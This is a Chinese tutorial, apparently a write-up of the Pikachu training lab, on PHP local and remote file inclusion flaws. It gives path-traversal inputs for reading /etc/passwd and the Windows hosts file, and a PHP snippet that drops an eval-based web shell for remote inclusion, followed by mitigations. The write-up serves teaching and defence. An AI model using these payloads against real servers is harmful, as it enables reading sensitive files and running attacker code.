概述:

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。

比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。

但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。

攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。

根据不同的配置环境,文件包含漏洞分为如下两种情况:

1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。 因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

本地文件包含:

1.进入靶场,选择不同的人物,会包含执行不同的php文件,

通过URL请求可以看到前端上传了一个文件名到后台,后台会通过前端上传的文件进行对应的操作,传回对应的信息到前端中(前端的文件都是后台保存的文件)。

2.进行抓包,修改数据,使filename成为一个变量,

3.修改filename,

Win:

../../../../Windows/System32/drivers/etc/hosts

Linux:

../../../../../../../../etc/passwd

4.查看后端源代码进行分析漏洞的原因:可以看到它获取前端提交的文件名后,会通过include函数进行包含执行,但因为没有做任何的安全限制,导致变量值filename可以被用户通过前端去做任何的修改,从而产生漏洞

远程文件包含:

条件:

1. php.ini中allow_url_include和allow_url_fopen的开启

2. 所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)

1.进入页面,

2.写入一句话木马,格式是txt文本,  (上面说了不能包含同后缀的文件,  是把其他类型的文件当做php解析)

<?php
$myfile = fopen("hack.php", "w");
$txt = '<?php @eval($_POST["hack"]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

远程包含地址:

http://127.0.0.1/phpstudy_pro/WWW/pikachu/hack.txt

防范措施:

  1. 在功能设计上尽量不要将文件包含函数对应的文件放给前端选择和操作。
  2. 过滤各种 ../../,http://,https://
  3. 配置 php.ini 配置文件
    • allow_url_fopen = off
    • allow_url_include = off
    • magic_quotes_gpc = on
  4. 通过白名单策略,仅允许包含运行指定的文件,其他的都禁止

最新文章

  1. 解决:Microsoft Office Word已停止工作
  2. word20161214
  3. 【C语言学习】《C Primer Plus》第3章 数据和C
  4. Zabbix邮件报警--&gt;Script
  5. 才知道创建数据表的后面int(M)的m居然和存储大小没有关系
  6. matlab 聚类
  7. struts配置测试中遇到报错信息,记录下
  8. Shell之while循环
  9. centos 6.5 samba简单配置
  10. Linux内核的整体架构
  11. Mvc项目右键没有控制器选项
  12. SQL Server重建索引计划
  13. Android关闭系统锁屏
  14. Oracle 修改密码 解锁
  15. H264相关随笔
  16. Xamarin Forms中WebView的自适应高度
  17. 2018-2019-2 《Java程序设计》第8周学习总结
  18. SkyReach 团队团队展示
  19. Paper | Octave Convolution(OctConv)
  20. @RequestParam加与不加的区别

热门文章

  1. docker 连接MySQL&amp;#183;集群
  2. qq获取验证码接口
  3. Python开发:一个直播弹幕机器人诞生过程,自动发送弹幕
  4. [打基础]OI/ACM基本功&amp;一些小功能的实现&amp;一些错误(持续更新)
  5. 教你用python爬取抖音app视频
  6. 仙剑4CPK加密解密算法(转)
  7. Redis 6.0 多线程性能测试结果及分析
  8. VS中RDLC提示类型不一致
  9. CentOS7 实战部署tomcat网站服务器
  10. 《深入理解 Java 虚拟机》读书笔记